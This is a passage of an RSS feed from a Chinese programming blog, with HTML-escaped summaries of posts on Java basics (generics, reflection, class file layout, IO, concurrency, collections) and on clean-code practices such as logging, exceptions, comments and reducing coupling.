&lt;p&gt;Java 5推出了泛型，也就是在原本的基础上加上了编译时类型检查的语法糖。泛型对于JVM来说是透明的，有泛型的和没有泛型的代码，通过编译器编译后所生成的二进制代码是完全相同的。这个语法糖的实现被称为擦除。Java中的泛型基本上都是在编译器这个层次来实现的。在生成的Java字节码中是不包含泛型中的类型信息的。使用泛型的时候加上的类型参数，会在编译器在编译的时候去掉。这个过程就称为类型擦除。&lt;/p&gt;
&lt;p&gt;无论何时定义一个泛型类型，都自动提供一个相应的原始类型(Raw Type，这里的原始类型并不是指int、boolean等基本数据类型)，原始类型的类名称就是带有泛型参数的类删去泛型参数后的类型名称，而原始类型会擦除(Erased)类型变量，并且把它们替换为限定类型(如果没有指定限定类型，则擦除为Object类型)。&lt;/p&gt;
&lt;p&gt;泛型变量的类型的使用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在调用泛型方法的时候，可以指定泛型，也可以不指定泛型&lt;/li&gt;
&lt;li&gt;在不指定泛型的情况下，泛型变量的类型为 该方法中的几种类型的同一个父类的最小级，直到Object&lt;/li&gt;
&lt;li&gt;在指定泛型的时候，该方法中的几种类型必须是该泛型实例类型或者其子类&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>跟我一起复习Java-6：反射/动态代理</title>
      <link>http://lanlingzi.cn/post/technical/2019/0929_java_base_6/</link>
      <pubDate>Sun, 29 Sep 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0929_java_base_6/</guid>
      <description>&lt;h1 id=&#34;java反射&#34;&gt;Java反射&lt;/h1&gt;
&lt;p&gt;Java的反射机制是在编译并不确定是哪个类被加载了，而是在程序运行的时候才加载、探知、自审，使用在编译期并不知道的类。这样的特点就是反射。&lt;/p&gt;
&lt;p&gt;Java的反射就是利用加载到JVM中的.class文件来进行操作的。.class文件中包含Java类的所有信息，当你不知道某个类具体信息时，可以使用反射获取Class，然后进行各种操作。反射就是把Java类中的各种成分映射成一个个的Java对象，并且可以进行操作。&lt;/p&gt;
&lt;p&gt;反射提供的主要功能：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在运行时判断任意一个对象所属的类&lt;/li&gt;
&lt;li&gt;在运行时构造任意一个类的对象&lt;/li&gt;
&lt;li&gt;在运行时判断任意一个类所具有的成员变量和方法&lt;/li&gt;
&lt;li&gt;在运行时调用任意一个对象的方法&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;rtti&#34;&gt;RTTI&lt;/h2&gt;
&lt;p&gt;RTTI(RunTime Type Information)，所有的类型信息都必须在编译时已知。会在所有类第一次使用的时候，将class对象(保存在.class文件)动态加载到JVM。&lt;/p&gt;
&lt;p&gt;RTTI与反射区别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;编译器在编译时打开和检查.class文件&lt;/li&gt;
&lt;li&gt;运行时打开和检查.class文件&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>跟我一起复习Java-5：字节码/类加载器</title>
      <link>http://lanlingzi.cn/post/technical/2019/0928_java_base_5/</link>
      <pubDate>Sat, 28 Sep 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0928_java_base_5/</guid>
      <description>&lt;h1 id=&#34;java字节码&#34;&gt;Java字节码&lt;/h1&gt;
&lt;p&gt;Java源文件编译之后生成的class文件，它是供JVM解释执行的二进制字节码文件。&lt;/p&gt;
&lt;p&gt;其结构如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:left&#34;&gt;类型&lt;/th&gt;
&lt;th style=&#34;text-align:left&#34;&gt;名称&lt;/th&gt;
&lt;th style=&#34;text-align:left&#34;&gt;说明&lt;/th&gt;
&lt;th style=&#34;text-align:left&#34;&gt;长度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u4&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;magic&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;魔数，识别Class文件格式，0XCAFEBABE&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;4个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u2&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;minor_version&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;副版本号，如0x0000&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;2个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u2&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;major_version&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;主版本号，如0x0034&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;2个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u2&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;constant_pool_count&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;常量池计数&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;2个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;cp_info&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;constant_pool&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;常量池&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;n个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u2&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;access_flags&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;访问标志&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;2个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u2&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;this_class&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;类索引&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;2个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u2&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;super_class&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;父类索引&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;2个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u2&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;interfaces_count&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;接口计数&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;2个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u2&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;interfaces&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;接口索引集合&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;2个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u2&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;fields_count&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;字段个数&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;2个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;field_info&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;fields&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;字段集合&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;n个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u2&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;methods_count&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;方法计数器&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;2个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;method_info&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;methods&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;方法集合&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;n个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;u2&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;attributes_count&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;附加属性计数&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;2个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;attribute_info&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;attributes&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;附加属性集合&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;n个字节&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
    </item>
    
    <item>
      <title>跟我一起复习Java-4：IO体系</title>
      <link>http://lanlingzi.cn/post/technical/2019/0924_java_base_4/</link>
      <pubDate>Tue, 24 Sep 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0924_java_base_4/</guid>
      <description>&lt;h1 id=&#34;io体系&#34;&gt;IO体系&lt;/h1&gt;
&lt;h2 id=&#34;普通io&#34;&gt;普通IO&lt;/h2&gt;
&lt;p&gt;整个Java.io包主要分为两大部分&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;文件特征对象&lt;/li&gt;
&lt;li&gt;文件内容操作对象&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;文件对象&#34;&gt;文件对象&lt;/h3&gt;
&lt;p&gt;在类Unix系统中，一切对象皆文件，文件是最为基本的对象。Java API提供了最为基本的文件对象。&lt;/p&gt;
&lt;p&gt;文件特征对象主要有如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;文件（File）：用于文件或者目录的描述信息，例如生成新目录，修改文件名，删除文件，判断文件所在路径等&lt;/li&gt;
&lt;li&gt;文件描述符（FileDescriptor）： 主要映射到OS层的文件句柄对象&lt;/li&gt;
&lt;li&gt;文件系统（FileSystem）：子类有UnixFileSystem，WinNTFileSystem等，用于适配不同的文件系统，仅内部使用，用户层不可调用。通过DefaultFileSystem.getFileSystem获取对应平台文件系统&lt;/li&gt;
&lt;li&gt;文件特征，包括Closeable，Flushable，FileFilter，Serializable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;文件内容操作对象主要有两大类：流式操作与数据转换。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>跟我一起复习Java-3：并发体系</title>
      <link>http://lanlingzi.cn/post/technical/2019/0923_java_base_3/</link>
      <pubDate>Mon, 23 Sep 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0923_java_base_3/</guid>
      <description>&lt;h1 id=&#34;并发体系&#34;&gt;并发体系&lt;/h1&gt;
&lt;h2 id=&#34;线程&#34;&gt;线程&lt;/h2&gt;
&lt;h3 id=&#34;线程安全&#34;&gt;线程安全&lt;/h3&gt;
&lt;p&gt;线程安全性：当多个对象访问同一个对象时，如果不考虑这些线程运行环境的调度与交替执行，也不需要额外的同步，或者进行调用方任何其它协调操作。调用这个对象都可以获得正确的结果，那这个对象就是线程安全的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;原子性&lt;/li&gt;
&lt;li&gt;可见性&lt;/li&gt;
&lt;li&gt;顺序的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;线程实现：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Runnable：函数没有返回值&lt;/li&gt;
&lt;li&gt;Callable：函数有返回值&lt;/li&gt;
&lt;li&gt;Future：对于具体的Runnable或者Callable任务的执行结果进行取消、查询是否完成、获取结果、设置结果操作。&lt;/li&gt;
&lt;li&gt;FutureTask：是Future也是Runnable，又是包装了的Callable&lt;/li&gt;
&lt;li&gt;Thread：代表JVM一个线程&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>跟我一起复习Java-2：集合/Stream</title>
      <link>http://lanlingzi.cn/post/technical/2019/0922_java_base_2/</link>
      <pubDate>Sun, 22 Sep 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0922_java_base_2/</guid>
      <description>&lt;h1 id=&#34;集合体系&#34;&gt;集合体系&lt;/h1&gt;
&lt;p&gt;集合是存储多个元素的容器，数组长度固定，不能满足长度变化的需求。其特点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;长度可变&lt;/li&gt;
&lt;li&gt;存储元素可以是引用类型&lt;/li&gt;
&lt;li&gt;可以存储多种类型的对象&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;iterator&#34;&gt;Iterator&lt;/h2&gt;
&lt;p&gt;Iterator接口：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对 Collection 进行迭代的迭代器，即对所有的Collection容器进行元素取出的公共接口。&lt;/li&gt;
&lt;li&gt;提供&lt;code&gt;boolean hasNext()&lt;/code&gt;和&lt;code&gt;E next()&lt;/code&gt;两个方法&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>跟我一起复习Java-1：基础/正则</title>
      <link>http://lanlingzi.cn/post/technical/2019/0921_java_base_1/</link>
      <pubDate>Sat, 21 Sep 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0921_java_base_1/</guid>
      <description>&lt;h1 id=&#34;基本数据类型&#34;&gt;基本数据类型&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:left&#34;&gt;数据类型&lt;/th&gt;
&lt;th style=&#34;text-align:left&#34;&gt;大小&lt;/th&gt;
&lt;th style=&#34;text-align:left&#34;&gt;范围&lt;/th&gt;
&lt;th style=&#34;text-align:left&#34;&gt;默认值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;byte(字节)&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;8&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;-128 - 127&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;shot(短整型)&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;16&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;-2^15 - 2^15-1&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;int(整型)&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;32&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;-2^31 - 2^31-1&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;long(长整型)&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;64&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;-2^63 - 2^63-1&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;float(浮点型)&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;32&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;1.4013E-45 - 3.4028E+38&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;0.0f&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;double(双精度)&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;64&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;-1.7976E+308 - 1.79769E+308&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;0.0d&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;char(字符型)&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;16&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;&lt;code&gt;\u0000 - u\ffff&lt;/code&gt;&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;&lt;code&gt;\u0000&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;boolean(布尔型)&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;1&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;true/false&lt;/td&gt;
&lt;td style=&#34;text-align:left&#34;&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
    </item>
    
    <item>
      <title>正确地打印日志</title>
      <link>http://lanlingzi.cn/post/technical/2019/0706_logging/</link>
      <pubDate>Sat, 06 Jul 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0706_logging/</guid>
      <description>&lt;h1 id=&#34;日志种类&#34;&gt;日志种类&lt;/h1&gt;
&lt;p&gt;软件记录日志非常重要，公司已积累了非常多的日志输出经验，也制定了不少的规范。通常会把业务软件系统的日志分为如下几种：&lt;/p&gt;
&lt;p&gt;用于软件问题定界定位的日志：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;调试日志：其目的是为了快速定位问题的根源，主要记录程序的执行轨迹，充当软件的调试器。&lt;/li&gt;
&lt;li&gt;运行日志：其目的是为了跟踪程序的指标变化，主要记录程序各种关键指标数据统计，运行环境数据。&lt;/li&gt;
&lt;li&gt;接口日志：其目的是为了快速对问题边界排查，主要记录接口的输入信息，以及处理结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;用于用户行为安全审计的日志：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;操作日志：其目的是为了跟踪用户操作安全审计，主要记录用户操作行为轨迹，操作什么资源内容，其结果是什么。&lt;/li&gt;
&lt;li&gt;安全日志：其目的是为了跟踪用户安全变更审计，主要记录用户的登录录出事件，权限修改等安全事件或行为。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>优雅地使用异常</title>
      <link>http://lanlingzi.cn/post/technical/2019/0615_execption/</link>
      <pubDate>Sat, 15 Jun 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0615_execption/</guid>
      <description>&lt;h1 id=&#34;异常与错误码&#34;&gt;异常与错误码&lt;/h1&gt;
&lt;p&gt;在开发业务系统代码，我们会经常与异常与错误码打交道，但有时傻傻地分不清楚。编写代码时，到底是使用异常还是返回错误码，一直以来都被程序员们广泛争论。&lt;/p&gt;
&lt;p&gt;我们先来看看他们的区别，在编程语言上区别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;异常：与面向对象编程结合紧密，它是一个类型系统，表示程序运行时发生错误的信号，一种识别及响应错误情况的一致性机制。&lt;/li&gt;
&lt;li&gt;错误码：与面向过程编程结合紧密，它通常是一串数字，表示处理函数返回业务流程错误的结果，错误码很容易被忽略且经常被忽略。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在接口定义上区别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;异常： 面向代码开发者，通常用于在代码实现层，尤其是在面对象语言中，接口定义异常需要方法签名，以强制要求接口使用都处理异常。&lt;/li&gt;
&lt;li&gt;错误码：面向客户界面，通常用于对外接口响应非正常结果定义，自定义错误码以增加接口的交互体验与问题定位。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>合理有效的注释</title>
      <link>http://lanlingzi.cn/post/technical/2019/0609_comment/</link>
      <pubDate>Sun, 09 Jun 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0609_comment/</guid>
      <description>&lt;h1 id=&#34;注释是什么&#34;&gt;注释是什么&lt;/h1&gt;
&lt;p&gt;注释是否有用一直以来都被程序员们广泛争论。也有人说，良好的编程习惯从写注释开始；有的人说，注释是恶魔，它将我们的代码变得很难理解。那什么才是注释？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注释就是对代码的解释和说明，其目的是让人们能够更加轻松地了解代码。注释是编写程序时，写程序的人给一个语句、程序段、函数等的解释或提示，能提高程序代码的可读性。 &amp;ndash; 百度百科&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注释主要是给人看的，其目的是增加代码的可读性。不同的公司、项目，对代码注释要求不同，他们被写入到编程规范中。而大多的规范中对注释关注的是格式，却难以说明如何正确地写注释，什么样的注释不应该写，什么地方需要写注释。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>不可变减少副作用</title>
      <link>http://lanlingzi.cn/post/technical/2019/0608_inmutable/</link>
      <pubDate>Sat, 08 Jun 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0608_inmutable/</guid>
      <description>&lt;h1 id=&#34;可变与不可变&#34;&gt;可变与不可变&lt;/h1&gt;
&lt;p&gt;在JVM系统语言如Scala与Kotlin中有两个关键字定义变量&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;var是一个&lt;strong&gt;可变&lt;/strong&gt;变量，可以通过重新分配来更改为另一个值的变量&lt;/li&gt;
&lt;li&gt;val是一个&lt;strong&gt;只读&lt;/strong&gt;变量，创建的时候必须初始化，以后不能再被改变&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为什么新的语言需要强调变量&lt;code&gt;不可改变&lt;/code&gt;？ 我再来看一下Rust语言中的变量不可改变。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;let，采用此关键字来绑定变量，变量默认不可变&lt;/li&gt;
&lt;li&gt;let mut，采用此关键字来绑定可以变更的变量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Rust在mutable（可变）与immutable（不可变）上相比Scala上更进了一步：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Scala的val只能约束了同一个变量名不可再重新赋值，变量绑定的对象是可以改变的（如val的list对象，可以调用它的append方法修改对象内容）&lt;/li&gt;
&lt;li&gt;Rust通过借用（borrow）语义与mut关键字，约束了只有声明为 mut 的变量，才能对绑定的对象是进变更（如只有是mut的vec对象，才能调用它的push方法修改其内容）&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>拒绝重复代码</title>
      <link>http://lanlingzi.cn/post/technical/2019/0602_dry/</link>
      <pubDate>Sun, 02 Jun 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0602_dry/</guid>
      <description>&lt;h1 id=&#34;拒绝重复&#34;&gt;拒绝重复&lt;/h1&gt;
&lt;p&gt;软件是让机器有了指令能执行一系列的动作，可将重复的机械劳动自动化。软件工程师们大多数会对重复都深恶痛疾，一旦发现有重复的迹象，就会想尽办法用技术手段去解决它。重复代码也意味着重复劳动，每次变更都必须要同时修改好几个地方，很容易遗漏而出镨，因而我们相信没有人喜欢重复的代码。&lt;/p&gt;
&lt;p&gt;但是，实际项目中的业务逻辑总是错综复杂，有很多看似重复的场景，却又不完全一样。虽然我们不喜欢重复，实际上受限项目时间与经验技能，又不知不觉地在制造重复。人大多都有惰性，编写代码也是从模仿开发，都会经过拷贝与粘贴的阶段，当完成了软件开发任务，再也没有回过来再看看我们写的代码。久而久之，软件中充斥着大量的重复、相似的代码。他们的持续存在造成了代码可维护性差，代码质量下降。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Robert C.Martin&lt;/code&gt;在他的代码整洁之道一书中写道:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;重复可能是软件中一切邪恶的根源，许多原则与实践规则都是为了控制与消除重复而创建。…… 软件开发领域的所有创新都是不断在尝试从源代码中消除重复。&lt;/p&gt;
&lt;/blockquote&gt;</description>
    </item>
    
    <item>
      <title>逐层递进地编写代码</title>
      <link>http://lanlingzi.cn/post/technical/2019/0531_layer/</link>
      <pubDate>Fri, 31 May 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0531_layer/</guid>
      <description>&lt;h1 id=&#34;书的目录&#34;&gt;书的目录&lt;/h1&gt;
&lt;p&gt;现在的软件类的书籍是越来越厚，尤其是语言类书籍很多通篇都是代码，需要花费很长的时间去阅读，久而之对厚厚的书就有一种莫名的恐惧感。个人看书喜欢先看一本书的目录，快速了解整本书的内容，挑选自己最感兴趣的章节直接开始阅读。&lt;/p&gt;
&lt;p&gt;目录是什么？一本书的大纲，它的精炼所在，好的目录如点睛之笔，将书中内容尽是涵盖：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;让人清楚地知道书所讲的框架内容，一目了然&lt;/li&gt;
&lt;li&gt;让人知道章节之间的逻辑关系，主次之分&lt;/li&gt;
&lt;li&gt;让人了解体察作者写作该书的思想和行文脉络&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>编写短小的函数/方法</title>
      <link>http://lanlingzi.cn/post/technical/2019/0529_function/</link>
      <pubDate>Wed, 29 May 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0529_function/</guid>
      <description>&lt;h1 id=&#34;函数与方法&#34;&gt;函数与方法&lt;/h1&gt;
&lt;p&gt;我们经常会遇到两个词，函数（Function）与方法（Method），简言之：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;函数不属于任何对象&lt;/li&gt;
&lt;li&gt;方法是关联到对象内的函数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;他们的区别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;函数是面向过程编程中，为解决问题划分每个步骤的体现&lt;/li&gt;
&lt;li&gt;方法是面向对象编程中，对象能提供的能力或行为的体现&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;方法底层实现本质还是函数，只是隐式传递了对象引用或指针，方法最终通过转化为函数的形式进行调用。为了简化后面的叙述，方法与函数统一称函数，不再区分。&lt;/p&gt;
&lt;p&gt;他们的必要性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;让代码可以重复使用，他们是”积木“&lt;/li&gt;
&lt;li&gt;函数黑盒特性，有效封装，隐藏细节&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>类的职责单一</title>
      <link>http://lanlingzi.cn/post/technical/2019/0526_class/</link>
      <pubDate>Sun, 26 May 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0526_class/</guid>
      <description>&lt;h1 id=&#34;理解类&#34;&gt;理解类&lt;/h1&gt;
&lt;p&gt;类（实例化产生对象）是面向对象编程中最基本的组成单元，将逻辑和数据封装其中，以提高软件的重用性、灵活性和扩展性等。它相比人类社会组成，系统/子系统、组件/（微）服务、模块/包这些相当于社会中不同层次的实体或虚拟的组织机构；而类则相当于一类自然人，一个对象相当一个自然人。一个类在系统中承担着一种的 ”角色“ ，从事一种职业。&lt;/p&gt;
&lt;h1 id=&#34;单一职责&#34;&gt;单一职责&lt;/h1&gt;
&lt;p&gt;大多数人只从事一种职业，也就是单一职责原则。若一个类只关注的就是自身职责的完成，也就是单一职责原则。&lt;/p&gt;
&lt;p&gt;面向对象设计的五个基本原则（SOLID），排在第一就是单一职责原则（SRP：Single responsibility principle）。SRP的原话解释是：There should never be more than one reason for a class to change。应该有且仅有一个原因引起类的变更。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>降低模块间耦合</title>
      <link>http://lanlingzi.cn/post/technical/2019/0523_dep_couple/</link>
      <pubDate>Thu, 23 May 2019 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2019/0523_dep_couple/</guid>
      <description>&lt;p&gt;提到耦合，必须先提依赖。依赖不可避免，而是尽可能地降低耦合。&lt;/p&gt;
&lt;h1 id=&#34;依赖&#34;&gt;依赖&lt;/h1&gt;
&lt;p&gt;模块依赖指模块之间发生了关系，如模块A调用了模块B的接口，则模块A依赖了模块B。依赖的英语是Dependency。&lt;/p&gt;
&lt;p&gt;模块依赖是系统内不可避免的，复杂的系统都是分而治之，软件架构活动中最重要的事就是如何正确把系统分解，并定义他们之间关系。存在关系就会存在依赖，依赖是系统分解的必然产物。如果一个系统内的模块间不存在任何的关联，那他们应该划分为不同的系统；一个模块没有与其它的模块发生关联，那这个模块就应该不存在这个系统中。&lt;/p&gt;
&lt;p&gt;模块的依赖关系，按生命周期阶段可分为：&lt;/p&gt;
&lt;ul&gt;
